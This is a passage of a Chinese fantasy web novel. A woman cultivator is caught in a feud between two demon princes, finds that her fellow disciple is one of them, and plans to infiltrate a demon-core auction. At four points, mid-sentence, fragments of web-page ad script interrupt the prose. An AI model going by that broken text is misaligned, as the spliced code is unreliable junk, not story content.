事到如今也只有等下去,所幸来之前连喜曾渡给她一些修为,目前还能维持一段时间。 正想着,门外忽有一阵异常的灵力涌动,叶清漪望去,只见正对大门处有一团黑色雾气盘旋,冲天的煞气搅动风云,身后天色大变,风沙走石,像是天地间所有意念都被攫取过去。 叶清漪感觉自己的视线被牢牢吸住,心中空洞惶恐,明明知道不该凝视那团黑雾,但又无法挣脱。 不及她定神思索,那黑影已袭至身前,将她掼倒在地,又不受控制地翻滚腾挪,天旋地转,最终被按在了一旁的交椅之上。整个过程叶清漪没有一点反抗之力,也没有任何痛楚,黑雾包裹着她,将她颠来倒去,却没有伤她分毫。 及至周身黑雾散去,她才感觉到全身各处疼痛不已,迟来的痛楚一瞬间涌了上来,让她本就不甚清明的脑袋疼得更不知身在何处了。 黑雾落在她面前,依稀可以看出是个人形,脑袋部分的雾气忽聚忽散,时而扩散成圈,时而聚集在中心,在这诡异的变化之中,隐约有两团独立的雾气上下跳动着,像在用一双眼睛打量叶清漪。此人的形态看上去和那个黑衣斗篷人差不多,但明显不是同一个人,这团黑雾更加暴戾,只是气息虚弱,显然受了很重的伤。 叶清漪此时发不出一点声音,她的喉咙正被一部分黑雾紧紧钳制着,被迫仰头对着那一对“眼睛”。 那脑袋部分转动了一个角度,猛地俯身咬向她脖颈。 雾气接触到皮肤的瞬间,叶清漪只觉得一股灼热的刺痛感,像是被野兽的尖牙刺穿肌肤,渗透皮肉之下,依稀还能感受到自己的血脉在雾气下逐渐破裂,血液前赴后继地逃出她的身体。 叶清漪开始有点头晕了,意识也逐渐涣散。 不由得大骂了句:“还不出来!等着我被吸干吗?” 黑雾听到这话,这才意识到中计,只是此刻这团雾气像是贪恋鲜血的野兽,虽知道该抽身而去,一时却很难做到。 “急什么?不得等他多尝一些甜头,才更加欲罢不能。” “咬的又不是你。”叶清漪咬牙切齿吐出几个字。 暗处传来几声大笑:“放心,此时正是他最虚弱之时,他又身负重伤,已经无处可逃了。” 难怪!这黑衣人每一步都是算好的,还将她一并算计在内。 叶清漪也不知哪里来的一股狠劲,汇气于掌心,直接给了那团雾气一掌,与此同时,一股极强的灵力横扫而来,将雾气击飞,直撞上一旁的罗汉床,将矮几上的东西尽数掀翻。 一道亮光紧随其后,冲上罗汉床,黑衣人的斗篷高高扬起,隐约可见内里的玄色锦袍。 “久违了。”黑衣人的语气带着极强的挑衅,缓缓吐出两个字,“兄尊。” 那团雾气似乎发出一声微不可查的轻笑,渐渐在黑衣人手下幻化出人形,竟是个面容清秀的男子,如瀑的乌发半绾,散在玄色洒金长袍之上,唇色看着有些惨白,看上去的确伤得不轻,可尽管身处劣势又受制于人,可他的眼底仍尽是轻蔑。 在魔界能被称为尊的只有魔尊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,黑衣人既称呼对方兄尊,他的身份不言而喻,只能是二殿下曜熠。 好嘛!合着是魔尊两个儿子的内斗,她却被卷入其中,真是背运! 叶清漪抹了把脖子,伤口还在不停流血,这二人解决私人恩怨,该是也顾不上她。正想着找机会溜走,却被黑衣人喝止。 “去哪里?”黑衣人回过头来,语气不悦,“我还需要你替我兄尊疗伤呢!” 叶清漪动作一顿,魔尊这两个儿子绝对是亲生的,完全遗传了他那喜怒不定的性子,只是这曜熠跟她在魔界看到的很不一样,一点也不草包,甚至十分暴戾无常。 “我们不是说好了……” 叶清漪声音渐弱了下去,黑衣人已经当着她的面松开了手,两人一起不怀好意地望着她笑。 叶清漪后背一阵发凉,连喜给她的那点灵力,怎么能对付得了这两位罗刹啊! “果然不该轻信你,没想到你们魔界也都是些背信弃义之辈。”事到如今,反正也逃不了,叶清漪干脆骂个痛快。 “让你替我兄尊疗伤,跟我对你的承诺并不矛盾啊!” 叶清漪实在不懂了,气极反笑,干脆把脖子凑过去,“来吧!要不给您搞个碗接着,免得浪费了。” 千辰躺在罗汉榻上,饶有意味地看着她:“看着不像寻常修士,你的血的确对我有用,不过,你应该对某些人更有用吧!” 话中分明意有所指。 曜熠但笑不语。 叶清漪也不知这兄弟二人在打什么哑谜,“我才不管什么有用没用,你俩到底想怎样,不如给个痛快话吧!” 二人闻言对视一眼。 结果那曜熠忽然抬手,手中不知何时多了一把锋利的匕首,直直朝千辰刺去。 千辰对此似乎最有预料,一抬手,牢牢抓住曜熠的手腕。二人又开始新的对峙。 叶清漪:“…………” 前世连喜就是给这样的人效力的吗? 两人又打作一团,千辰身负重伤,终究不是曜熠的对手,很快败下阵来。 但曜熠也没有下杀招,匕首堪堪停在千辰脖颈处,片刻后一抬手,将其扎在手边的矮几上。 “一别多年,你真是越来越有出息了。” “不比兄尊,运筹帷幄,搅弄三界。” 千辰垂眸一笑,没有回应,反倒又提起叶清漪,“这位女子想必对你很重要吧!” 叶清漪越发不解,她跟曜熠今日第一次见,千辰为何一直说自己对曜熠很重要? “兄尊说笑了,这是我为你寻得的良药,自然对你更重要些。” “是吗?那为何你要隐藏自己的真面目呢?” 千辰嘴角扬起,神色得意。 曜熠回过头来看她,神色隐忍。 叶清漪疑惑地看着他,曜熠的真面目与她又有什么关系? 如此想着,叶清漪渐渐感到意识迷离,她抹了一把脖子,只沾了一手黏腻,伤口还在流血,她眼皮越发沉重,紧接着一阵天旋地转,便不受控制地倒下了。 94. 真相败露 醒来是在一处陌生的屋子,叶清漪猛地坐起,一不小心扯到脖子的伤口,疼得龇牙咧嘴的。 伤口已经包扎好了,叶清漪想伸手查看脖子的伤口,一抬手发现两只手手腕动弹不得,一看,她竟被人捆了。 更可气的是,捆住她手腕、脚腕的布条,还是从她衣服上裁下来的。 她这身可是不久前新买的!!! 叶清漪握紧了拳头,目光逐渐凶狠。 她按下怒气,打量了一圈现在所在的地方,是一间很寻常的寝殿,殿内点着许多烛火,红色的帷幔迤逦垂地,其上压着点燃的蜡烛。 寝殿两侧的窗户大开着,略带暖意的夜风灌入其中,烛火轻曳,帷幔飘扬,正当叶清漪以为这里没有其他人时,忽然听到一阵水声,紧接着又是一阵,像是有人在洗澡。 叶清漪循声望去,果然见寝殿另一侧是一处浴池,隔着层层帷幔,依稀可见一个挺拔的身影,看上去似乎刚刚出浴。 叶清漪的视线立马被烫了回来,两侧的脸颊温度急速上升,虽有夜风袭来,依然驱不散周遭的闷热。 这是何处?怎么布置成这样? 叶清漪扫了眼身边,叠放整齐的烟罗并蒂莲锦被,顶上罩着绛红团纹芙蓉帐,卧榻一头整齐摆放着一对青镂玉枕。 这这这……莫不是,婚房? 记得不久前她脖子受了伤,还在一旁看那两兄弟打架来着,如今这又是怎么回事?她该不会失血过多,陷入昏迷,在做什么春梦吧! 帷幔后不是传来啪叽啪叽的声音,那人赤脚踩在地上,正一步步朝她而来。 叶清漪来不及思索,直接倒下装睡,为此脑袋还嗑在了青玉枕上,她疼得龇牙咧嘴,强忍着不出声。 脚步声越来越近,叶清漪浑身的血液都凝固了,她竭力控制着不让自己露出异样。 感觉身边的位置陷了下去,来人在榻边坐下了。 叶清漪感觉血液都冲上了大脑,喉咙发紧,意识紧绷着,但又要迫使身体保持放松,不作出反应,脑中飞过无数个念头,猜测着对方下一步的行动。 来人一时没有动作,不知为何,叶清漪竟能感觉出对方正在偷笑,像是识破了她的假装。 不过她也没打算装多久。 紧接着,她忽的抬起手,狠狠往前一送,睁开眼,果然看到曜熠坐在她旁边,一只手正准备落下,被她双手合力抵着。 他长发半散,如缎般垂下,身着玄色里衣,在抬手的姿势带动下,领口微微敞着,隐约露出里面结实的胸膛。 “你干嘛?”叶清漪移开视线,仍旧牢牢抵着曜熠的手,但其实曜熠根本没有用力。 “还能干嘛?你我孤男寡女共处一室,自然当顺从本心,做该做之事了。”曜熠眼底带着几分戏谑,烛火映在他眼中,看不清他的情绪。 “你还不如杀了我。”叶清漪淡淡道。 曜熠倒也不生气,“杀了你,那岂不是该被人说我欺凌弱小了。” “我还是第一次被人称为弱小。” “也是,前世不可一世的大师姐,又在差点成了堕魔的人,的确不算弱小。” 叶清漪不接话,见曜熠没有恶意,便松了手。 曜熠收回手,低头整理着被扯乱的衣襟,“说起这个,我在你的记忆里看到,前世你曾跟魔界后来的二殿下有了婚约,却在婚礼当场逃离,我很好奇,你为何如此?” “你问这作什么?” 曜熠目光闪烁:“我是看那个人后来是我的得力助手,也算是我魔将中的精英,你二人感情又那么好,为何忍心如此对他?” “你这是想替他打抱不平吗?”叶清漪语气不善,“放心,这一世我不会让他入魔界的,也省得你费心了。” 曜熠一瞬错愕,旋即笑开了:“也是,你本不必同我解释这些,我只是替他可惜,若我有倾心之人,哪怕是用尽千方百计,也会将她留在身边,更不可能会放任她当场悔婚,将我一人留在喜堂,成为整个魔界的笑话。” 叶清漪莫名其妙:“你这么生气作什么?” 曜熠急急道:“我就是觉得你很过分!” 叶清漪也懒得呈口舌之快,细细想了一番:“我的确是有对不住连喜的地方,当初和他一起在魔界相互扶持,日子倒也安稳,只是……” “只是什么?” 叶清漪纳罕地看了眼曜熠,继续思索。 若说缘由,无外乎那并不是她想要的,她的一部分自己早就死在了被魔气侵体的时候,如果不是云宸让她活下去,她都未必会在魔界撑那么久。 想到云宸,她的眼神不免又黯淡几分,当初她不知内情,如今看来,真不知云宸让她活下去,是为了她还是为了他自己。 叶清漪正黯然神伤,曜熠忽然一挥手:“罢了罢了,没功夫听你唧唧歪歪,有机会见到你的小情郎,我势必要传授他两句,教他切不可对女子心软,尤其是某些忘恩负义的女子。” 曜熠还特意强调了忘恩负义几个字。 叶清漪也不气恼,只冷眼看着他。 曜熠对上她的眼神,冷不防又是一抬手,将她下巴钳制住:“警告你不许用这种眼神看着我!小心我将你双眼剜出来。” 说着一把将她往边上一掼。 叶清漪手脚被捆着,整个人不受控制地倒下去——刚好倒在柔软的锦被上,与被面上的并蒂莲绣样面面相觑。 叶清漪:“…………” “如今你的血已经被我兄尊看上,你若不想被我兄尊留在身边当补品,只有一个办法……” 叶清漪知道他说的是什么办法。 “非处子之身的血,疗伤的功效大打折扣,要我说你就别回你那破仙门了,留下来当我的魔后不好吗?” 叶清漪背对着他:“我还不如当个补药,你们魔界中人都这么喜欢巧取豪夺吗?” 曜熠轻笑一声,嘴角带着一抹嘲弄,他收回手,背对着叶清漪坐着。 叶清漪微微抬头,从她的角度刚好可以看见曜熠的背影,不知为何,叶清漪竟觉得他的背影看上去有些许孤寂。 她定是魔怔了! 趁他不注意,叶清漪暗暗挣脱着手腕上的布条。 这时曜熠忽然转身,将她死死压在身下,推搡间,叶清漪的脑袋再次磕上了玉枕。 “呃啊……”她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 疼得直接叫出声。 语调上扬,竟带了一丝娇媚。 曜熠的神情似乎有些异样,脸颊也泛起潮红。 他的手臂压着她的脖子,半个身子都压了上来,但没有完全用力。 叶清漪抬眼,和他四目相对。 她忽然觉得这双眼睛很熟悉。 曜熠愣了一下,有些不自然地移开了视线。 “今日你是愿意也罢,不愿意也罢,左右都是走不出这间屋子的。”他别着脸说了几句狠话。 叶清漪总觉得这人很是别扭,也说不出为什么。 没等她再开口,殿内忽然被人大力踹开,与此同时,趴在她身上的曜熠几乎是一瞬间拉过旁边的被子,兜头盖下,将他们二人盖在其中。 下一刻,他整个人趴了下来,压着她不让她乱动,一只手捂着她的嘴,脑袋靠在她肩膀的位置,呼吸声几乎就在她耳边。 叶清漪脑子一片空白,过了会儿才反应过来,将他往外推,但她双手捆着使不上力,这样反倒多了几分欲拒还迎的意味。 慌乱间不知碰到了哪一处,只觉得异常滚烫,下一刻,她的手被人一把捉住,略带愠怒的声音在耳边低低响起:“别乱动!” 叶清漪彻底老实了。 门外的人踏入殿内,一步步朝他们走近。 “二弟,你在吗?” 来人是千辰。 千辰咳了咳,“你赠我的那味药材不见了,不知你可曾看见?” 曜熠躲在被子里,闷声回答:“不见了吗?我不曾看见,许是让她逃了吧!” “哦?是吗?”千辰的声音又近了几分,“二弟,你这样就寝岂不闷得很,何不将被子掀开同为兄说几句?” 说着不等曜熠回答,一把掀开被子,与此同时,一股暗风吹过殿内,将所有烛火都熄灭了,紧接着身上一轻,曜熠整个人飞了出去,也不知是自己出去的,还是被人拎出去的。 昏暗中,叶清漪只听见一阵乒铃乓啷的响动,接着眼前一花,烛火又被人尽数点燃。 叶清漪抬手遮挡着烛光,适应了一下后,才去查看殿内的情况。 千辰和曜熠扭打在一处,曜熠正跨坐在千辰身上,一手攥着千辰的衣领,一手握拳高举,一副要打下去的架势。 两个人都没有绾发,乍一看还真有些分不清谁是谁,倒的确很像兄弟俩。 叶清漪手脚被捆着,坐在榻上,和他俩隔空相对,曜熠还保持着准备动手的姿势,千辰嘴角含着一抹讥笑,玩味地看着这一切。 一抹月色自云层后探出,悄然落入殿内,恰好洒在曜熠身上。 叶清漪一怔,看着曜熠在月光下逐渐改变了容颜。 那是一张她再熟悉不过的脸。 这张脸,近来她时常见到,前不久刚跟她在地牢分开,正是随她一同下山,前世险些与她成婚的连喜。 “据传魔界中人在月色下难以掩藏形容,曜熠殿下,你似乎缺美人一个解释啊!”千辰不怀好意地笑笑,“或者应该是,叶师妹?” 曜熠举着胳膊维持了片刻,终是一拳砸了下去。 千辰栽倒在地,终于安静了。 95. 坦诚相见 “叶师妹……”夜色下,连喜孑然而立,似有颓然。 “你别这么叫我,我不是你的叶师妹。” 叶清漪有这样的反应也在连喜意料之中。 “我先替你将手腕松开吧!” “不必!”叶清漪往床榻内移了移身子,背对着连喜。 连喜还欲上前。 叶清漪提高声音厉声呵斥:“你给我站那里!不许过来!” 连喜只得停下。 叶清漪这是动了真怒了,连喜怔怔望着她片刻,低声开口解释:“我知道迟早会有这么一天,我也知道遇上这种事,任凭是谁都会生气的,虽然我也不是有意隐瞒,纵有万般无奈,一切既已发生,多说无益。” 叶清漪仍旧坐在那里,一言不发。 “其实经过这些日子的相处,我能看得出来,你看起来什么都不在乎,实则有着自己的坚持和行事标准,一旦触及你的底线,你是无论如何都不会原谅的。但我还是想有个解释的机会。” 叶清漪冷哼一声:“二殿下不必同我解释原委。” 但叶清漪并没有阻止连喜说下去。 连喜看了眼趴在地上的千辰,将事情和盘托出:“我的确是魔界二殿下曜熠,但我并非是有意隐匿在云仞,而是因为早在我刚进入人界时,内丹就丢失了,只有待在云仞,才能不被魔界的奸臣逆党察觉踪迹。幼时魔界动荡,黑妖王意图杀我篡位,自幼抚养我的魔使为了保护我,便将我送到了人间,但他委托照顾我的人却起了歪心,向魔界黑妖王泄露我的行踪,幸得有潜伏在黑妖王处的内应冒死向我报信,助我提前逃脱,而他自己则身份暴露,被黑妖王杀害,我的内丹就是在那时候丢失的。” “当时我跟寻常人族孩童无益,甚至比他们还孱弱,又因为我身负异象,更是被他们欺凌羞辱,后来遇见了云游路过的师尊,他在濒死之际救下我,将我带回云仞,收作亲传弟子,我很感谢师尊的教养之情,我隐瞒了自己的身份,也对不住师尊。” 叶清漪却不这么觉得,以云宸的智谋,不可能不知道连喜的身份,只怕他是有意收留连喜的。 叶清漪心念松动,嘴上还是说着:“事到如今,我真不知你哪句是真哪句是假!” “此事的确是真的,我也并非有意欺瞒于你,只是仙魔两界关系紧张,我隐匿仙门,自然无法如实相告。在云仞的一十八载,是我此生难得的宁静时光,往后只怕再难拥有了,我此来渭城是为了找回内丹,我感应到它曾在此地出现。” 叶清漪思绪纷乱,思索片刻,转过头问:“也就是说,你找到内丹后,就要恢复魔界殿下的身份了。” 连喜神情凝重,坚定地望着叶清漪,诚恳点头:“正是,当初我逃离魔界后,是千辰接替了魔君的位子,他受黑妖王的扶持,这些年也算是将魔界打理得井井有条,只是他想要的太多,这些年魔界被仙门压制,又在千年前的神魔大战中元气大伤,无暇他顾,这些相安无事这许多年,如今黑妖王势力日渐壮大,千辰又与其政见不合,再下去魔界势必大乱,若被黑妖王掌权,仙魔大战也难避免。” 叶清漪点头:“你说的我都听明白了,你放心,我不会泄露你的行踪,也不会告诉别人你的真实身份的,若有人问起,我会告诉他们你死了。” 连喜为难地看着叶清漪,没有否认这点。 “那你我就此别过吧!”叶清漪说着就要起身,连喜忙上前替她解开手脚。 叶清漪定定看着近在咫尺的侧脸,眼底情绪翻涌,连喜认真替她解绑的样子,分明与往常无异,但叶清漪心知肚明,眼前之人虽然还是那张脸,却不是那个人了。 “地牢那边我已经料理妥当了,我会将那些被关押的妖邪尽数带回魔界。” “好。”叶清漪认真看着他的侧脸,眼中有不舍也有一丝失落,更多的是无奈,这种心情她已经体会过太多回了,可不知为何,这一次好像更痛一些。 叶清漪心底泛起一阵酸涩,眼眶忍不住红了。 连喜替她解开了脚上的布条,抬头看了叶清漪一眼,叶清漪连忙将视线移开,不让连喜看到她眼底的泪光。 连喜没察觉到异常,以为叶清漪还在生气,低下头,打算继续解开她的手。 “我已向师尊请辞,”连喜低沉的声音响起,像在解释,又像在祈求原谅。 叶清漪的心又沉下去几分,一面暗骂自己没出息,分明没相处多少时日,也不知有什么好难过的! 归根结底,失望更甚于不舍吧!她向来知道从没人会为自己停留,只是这一次,她以为会不一样。 “千辰我会一并带回魔界,我离开魔界已久,在魔界没有根系,还需要他相助。” 连喜替叶清漪解开所有的布条,站在榻边垂眸看着她。 “我还有个问题,前世你并不知道我的身份,为何在魔界也不以真面目示人呢?” “我能窥古探未,洞察人心,当年我就知道你会重生这一世,而且在魔界我也不常以真面目示人的,魔尊的身份有太多桎梏,有时候也需要另一个身份,让我看清魔界中人的不同面孔。” “原来如此。”叶清漪眼底是讥讽的笑意。 “对不起。”连喜又再次道歉。 “你去吧!”叶清漪懒得多说。 二人正相对无言,一个黑影从窗外跳入,连喜立刻出手袭去,将对方制住,待看清来人是谁,二人都愣住了。 “清泽,你怎么也找到这里来了?”叶清漪很是意外。 连喜:“你在外面多久了?” “我刚到,二师兄法力高强,若我早就到了,你应该也能察觉吧!” 连喜不言,算是默认了。 清泽看向连喜,嘴上却在回答叶清漪的问题:“原本我也在此地调查,恰好也查到了此处,从几个伙计口中得知你们的下落,便赶了过来,没想到……不过我也听到了一些,二师兄你要是想杀我灭口,我也无话可说。我不是你的对手,若你非要拦我,我只能拼死一搏了,总之今日我一定要带叶师妹走。” “我不拦你,你带她走吧!”连喜并未为难清泽。 清泽有一瞬的错愕,反应过来后也不多说,上去扶起叶清漪,扶着叶清漪往外走。 走出去两步,连喜忽然在身后叫住他们:“等等!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>清泽扶着叶清漪停下,两人都没有回头。 “二师兄这是又反悔了?”清泽扶着叶清漪的手紧了紧。 “叶清漪有伤在身,你注意不要牵扯到她的伤口。” 叶清漪闭了闭眼,不想多说。 清泽轻笑两声,得体地回道:“不劳师兄挂心,我自会照顾好叶师妹的。” 清泽准备继续往前,叶清漪却没动。 清泽看向叶清漪,只见她深吸一口气,背对着连喜,用足以让他听到的声音说:“如今既然一切都已明了,你此前做的承诺便不算数了,不必履约。” 连喜还想说什么,叶清漪接着开口,将连喜的话堵住,“日后山高水远,你我仙魔有别,就不必再见了。” 说完扶着清泽,头也不回地出去了。 一直到出了那方院子,清泽才道破:“其实那些布条根本困不住你吧!你是想听连喜师兄解释才一直不曾挣脱。” 叶清漪停下脚步,没有否认,“不管是什么都无所谓了,想想怎么出去吧!我不想再待在这了。” 话音刚落,身后传来脚步声,二人回头,只见连喜追了出来,不等叶清漪开口就急忙解释:“我来送你们出去。” 三人一起出了暗市,来到渭城桥头,外面天已经黑了,镇上的居民没有夜里出门的习惯,街市上空空荡荡,关门闭户。 “二殿下就送到这儿吧!大殿下还在里面,要是他提前醒了,或是被其他人救走了,你回魔界又要多一重障碍了,我可不想欠二殿下人情。” 连喜怔怔道:“好。” 又再三嘱咐清泽:“照顾好她。” “这是自然。” 清泽说着准备扶着叶清漪离开。 “等等,”连喜忽然想起什么,叫住他们,三两步追上来,从怀里取出一个物件,递给叶清漪,“这是信物,日后若有需要,可凭此物来魔界,没人会阻拦。” 叶清漪低头一看,是一个白色莲花玉挂坠,莲花雕刻得栩栩如生,宛如千年冰莲,上面带着些许血气。 她刚欲拒绝,连喜拉过她的手,将挂坠放在她手心,玉莲顿时消散,化成一道红光,融入了叶清漪的掌心。 掌心浮现一朵空心的玉莲印记,边缘带着一圈血色,很快一齐消失,掌心恢复如初,叶清漪感觉一股略带灼热的气息自掌心滑入,连带着手臂的妖印常年带来的若有若无的痛感也平息了不少。 “给了你就是你的,你若是不想来魔界,这个玉莲也会在关键时候护你性命,就当是我为之前的事情表示歉意。” 叶清漪无奈:“你都直接将它放入我经脉之中了,我拒绝也没用了吧!” “你便安心收着吧!日后若是有缘再见,你再还给我也不迟,或者……”连喜停顿了半晌。 “或者什么?”见连喜不言,叶清漪忍不住追问。 “没什么,或者你一直留着也可以。” 叶清漪等了一会儿,确定连喜没其他想说的了,垂下眼眸,对清泽说了句“走吧”。 夜色下,一声极轻的喟叹。 “或者,等到我陨灭那日,那玉莲便会自行消散了。” 96. 鉴赏会1 叶清漪后来在客栈休养了四五天,身体终于恢复了一点。 这几天她没来由地想起小时候的一些事情,那时候她在夜市里遇到一群和她年纪相仿的小孩,日子却过得和她截然不同,那也是她第一次意识到,这世间还是有很多人生活在水深火热之中的,相比之下,她最大的烦恼好像就是不能经常出门玩,还有不想学那些枯燥冗长的古书。 那晚和连喜一起去夜市闲逛,在馄饨摊的时候,她睡着前的那段时间好像跟连喜说起过这段经历,那之后连喜的表现就有些反常,第二天一早他又从外面回来,虽然屋子里的茶水温热,但很可能是连喜伪装出来的,让叶清漪觉得他一晚上都是在房间睡觉的,如今想想,他那晚很有可能就不在屋内,应该是趁着那段时间调查镇上的事情,还有寻找妖丹,并掌握了千辰的行踪,最终谋划安排好了那日的一切。 如今多想无益,叶清漪告诉自己,既然他们都能放下她,那她也不需要把那些人放心上。如今她还有更重要的事情要做。 “怎么站在这儿吹风?你身子才刚好一些,回头伤势又要加重了。”清泽从身后的房间里走出来,拿了件衣服给她披上。 叶清漪道了谢,没有拒绝他的好意。连喜走后,客栈多出了两个房间,清泽就挑了一间住下了,这些日子他一直陪着叶清漪,叶清漪知道他的心意,但她如今已经不打算再跟任何人有感情的牵扯了。 “你这些天可有查到什么?”这些天她功力没有完全恢复,只好拜托清泽去调查妖丹的事情。 “能查到的东西有点少,他们处理得很隐蔽,二师……曜熠虽然将地牢里的妖邪都救走了,但这里的妖丹交易还远远没有结束。” “不错,如果不能将他们连根拔起,只怕还会有很多无辜的妖邪受害。” 清泽听到这,微微惊讶地望着叶清漪。 “怎么这么看我?” “没什么,我只是很少听见有修道之人会说妖邪无辜的。” 叶清漪自嘲一哂:“要是之前,我也不敢相信这话会从我口中说出。” 清泽若有所思地点点头,像是在细究叶清漪话中未曾领悟到的信息。 “不管怎样,都不能放任事态发展,这些人的存在不仅仅损害人仙妖三族之间的关系,更会影响仙门弟子竞争的公平性。” 说完这句话,叶清漪自己也有些诧异,难道这就是连喜曾经让她找的想做的事吗? 可她自认为不是个多么愤世嫉俗、志向高远的人,她甚至认为自己一直就是个对一切都漠不关心的人,她连自己的命运都不在乎,何谈去拯救他人,前世虽然身在仙门,但她只是顺势而为,脑子里并没有惩恶扬善,匡扶大道这种想法,更别提什么心系苍生这种悲悯之心,她一度认为这种只有云宸这种程度的修仙者才配谈及。 但如今她却很想试一次,比起改变自己的命运,靠自己的努力改变他人的命运,是一种什么感觉。 她不知道这么做是对是错,不过她已有所预感,她会在行动中得到答案。 “你的担心不是没有道理,只是这也非一时半刻可以解决的,你也别太有压力了。不过虽然查到的事情不多,但有一个线索,想来应该有点价值,我查到一个秘密会馆,会不定期进行妖丹鉴赏会,或许能从此找到突破口。” “妖丹鉴赏会,听上去就很有问题,看来除了暗市那家店,还有其他势力也在进行妖丹交易。” “不错,要是能混进鉴赏会,应该可以得到不少有用的信息。” “具体是什么情形,打听清楚了吗?” “我也是在街上偶然听到有人谈起这个鉴赏会,又花了好几颗上等灵石,才从之前参加过鉴赏会的人那里得到比较详细的消息,鉴赏会三年一次,也不是什么人都能去的,至于进入鉴赏会的门槛,也没有对外公开过,鉴赏会上被选出来的最顶级的妖丹,会被最资深的买家领走。而且为了确保妖丹的至纯至净,所有妖丹会以存活妖邪的状态出现,被人认领后再当场取丹,手段极其残忍。” “到底是什么人才能想到这种妖丹交易?简直丧心病狂!”叶清漪痛斥。 清泽沉吟片刻:“人不可貌相,只怕鉴赏会上出现的人,你想都想不到。” “这个鉴赏会我们必须去!”叶清漪看向清泽,“你有没有什么办法混进去?” “只怕有点难,不过去鉴赏会的人都必须带面具,这样或许有利于我们潜入。” 叶清漪却摇摇头:“不尽然,你之前也说这鉴赏会不是谁都能参加的,又让人以面具示人,想必判断来人是否符合要求的方法会更独特。” 清泽缓缓点头:“有道理,你是有头绪了吗?” “既然这个门槛一直没对外公开,有没有可能,就是需要我们自行推测的?” “你的意思是?” “这个标准一定是符合标准的人都知道的事情,也是他们都拥有的属性,如果想推测入会标准,就需要知道哪些人会对妖丹有需求,资深买家又有什么特质,这样我们可以推出几个点,再去掉容易让人鱼目混珠的,就是最终的入会标准了。” 清泽闻言微微颔首,眉心因思索而轻轻拧着:“你是不是有所猜测了?” “如果入会标准是购买足够多的妖丹,那也太容易被猜到了,而且妖丹跟其他法器不同,并不是越多越好,一般每个人最多能拥有一颗妖丹,无论这妖丹是被保留,还是炼化,他都无法再获取新的妖丹,不同妖丹之间妖力相斥,轻则功法尽废,重则走火入魔,我猜想,入会标准或许不是购买妖丹的数量,相反,应该是从未买过妖丹的人,但又因为是鉴赏会,所以参与者也应该能识别妖丹,那就需要一定的术法基础。结合这两点,再排除容易被猜到的选项,就很好推算了。” 清泽恍然大悟:“我怎么没想到呢!鉴赏会定是集鉴赏力和需求于一体,入会标准定也是为了最大程度保证鉴赏会的顺利举办,这就包括,参与者对妖丹有需求,也有要求,有需求既保证了妖丹能很 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 快被卖出,也保证参与者不会泄露鉴赏会里的一切,那应该就是有财力,家中又有子弟即将参与选擢的人。” 叶清漪笑笑:“你猜对了前半段,并且还不太准确,财力不一定要多高,而是其想得到妖丹的决心有多大。” 清泽:“你是有答案了?” “我们入山即将满三年,这次考核过后,就该进行新一轮的选擢了,下一批候选人固然需要预订妖丹,但相比之下,对妖丹需求更迫切的,不正是我们这些下山历练的仙门学徒吗?” 清泽惊得张大嘴,一时难以接受:“这……” “怎么?难道你不想买?” “这……我没……”清泽支支吾吾的。 “行了,我知道你的实力,定是不屑会做这种事的,我是让你以一个仙徒的身份去想,是不是像我所说的那样。” 清泽没有接话,只为难地望着叶清漪。 “我知道你一时半会儿难以接受,曾经我也没有想过同门会有这种人,或许要等眼见为实之后,才会慢慢接受吧!而且你之前说,是在大街上听到鉴赏会的消息,怎么会这么巧?如果你随便走在街上都能听到,说明这个消息已经人尽皆知了,那这跟鉴赏会的高深岂不矛盾?只怕是有人刻意散布的消息,其目的就是为了尽可能让每一个执行任务的仙徒们听到,确保他们都能参与。” “倒也有这种可能,”清泽赞同地点着头,“那我们要以什么身份混进去?乔装吗?还是变幻,不知道那鉴赏会有没有结界,会不会识破我们的变换之术。” 叶清漪抬手示意:“不用,就用仙徒的身份去!” “这样能行吗?暴露我们的真实身份会不会不太妥当?” “不是有面具吗?面具罩面,谁能认得出谁?就算认出来,他们敢跟你我相认吗?说到底,这面具怕是仙徒之间的一块遮羞布。” “……”清泽欲言又止。 “行了,你可曾探听到鉴赏会什么时候举办?地点在哪儿?” 清泽回想了一下:“三日后吧!位置就在镇子的东南方,那里是人族和魔族的交界处,很多小妖都是养在那边的林子里,能吸收魔气,还不会被仙气压制。” 叶清漪眼底瞬间浮现汹涌的怒意:“将妖邪囚禁在离魔界一步之遥的地方,让他们看到希望就在眼前,却永远难以企及,如此日夜折磨,妖邪心性日益扭曲,也更利于魔气的滋生,真是好谋划!” 清泽有些不知所措。 叶清漪继续分析:“既然设在两族交界,那来参加鉴赏会的只怕不止仙徒。鉴赏会有说哪些人不能去吗?” “那倒没有。” “如此,到时候估计还有不少妖邪会参加。” “啊?仙徒跟妖邪在一块抢妖丹?” “光是说出来都觉得不可思议吧,现实的癫狂程度只会有过之而无不及。” 清泽也不敢多言:“那……” “三日后,出发去鉴赏会。”叶清漪转身进了屋里。 97. 鉴赏会2 三日后,叶清漪和清泽收拾停当,一大早就出发前往鉴赏会。 人魔交界处,灵力浑浊,鱼龙混杂。叶清漪随身带了很多符纸和灵石,出发前还吃了清泽给的丹药。 两人很快找到鉴赏会的具体位置,他们按照要求带着面具,虽然没穿很明显的仙徒制服,但手中的佩剑,还有没有刻意压制的灵力都能表明他们的身份,门口的守卫只看了一眼,就让他俩进去了。 “果然跟你猜测的一样。”清泽走在她边上,压低声音说。 “谨慎一点,这么容易进来,只怕没那么容易出去。”叶清漪眼神四处打量,始终注意着暗处的动向。 “嗯,那是自然。” 举办鉴赏会的地方跟想象中很不一样,并非在地下,而是在地上,甚至都没有搭结界,场地是一个很开阔的会场,看上去就跟寻常的斗法大会没什么两样。 二人一路沿着指示进去,在外场找了个位置。 “这地方居然连结界都没有。”清泽也发现了,“如果有其他人想混进来,岂不是很容易?” “没有结界才是最大的问题。”叶清漪整张脸隐在面具之下,当初她特意选了这种,虽然闷热,但可以挡住下半张脸,不让人看出她在说什么,况且…… 